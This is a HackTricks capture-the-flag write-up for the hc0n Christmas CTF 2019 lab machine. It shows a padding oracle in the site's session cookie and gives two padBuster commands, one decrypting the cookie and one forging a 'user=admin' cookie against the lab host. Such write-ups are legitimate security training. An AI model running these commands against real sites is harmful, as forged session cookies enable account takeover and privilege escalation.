# hc0n Christmas CTF - 2019
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![](../../.gitbook/assets/41d0cdc8d99a8a3de2758ccbdf637a21.jpeg) ## Enumeration I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion): ![](<../../.gitbook/assets/image (244).png>) There are 2 ports open: 80 (**HTTP**) and 22 (**SSH**) In the web page you can **register new users**, and I noticed that **the length of the cookie depends on the length of the username** indicated: ![](<../../.gitbook/assets/image (245).png>) ![](<../../.gitbook/assets/image (246).png>) And if you change some **byte** of the **cookie** you get this error: ![](<../../.gitbook/assets/image (247).png>) With this information and[ **reading the padding oracle vulnerability**](../../cryptography/padding-oracle-priv.md) I was able to exploit it: ```bash perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" ``` ![](<../../.gitbook/assets/image (248).png>) ![](<../../.gitbook/assets/image (249) (1).png>) **Set user admin:** ```bash perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" -plaintext "user=admin" ``` ![](<../../.gitbook/assets/image (250).png>)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.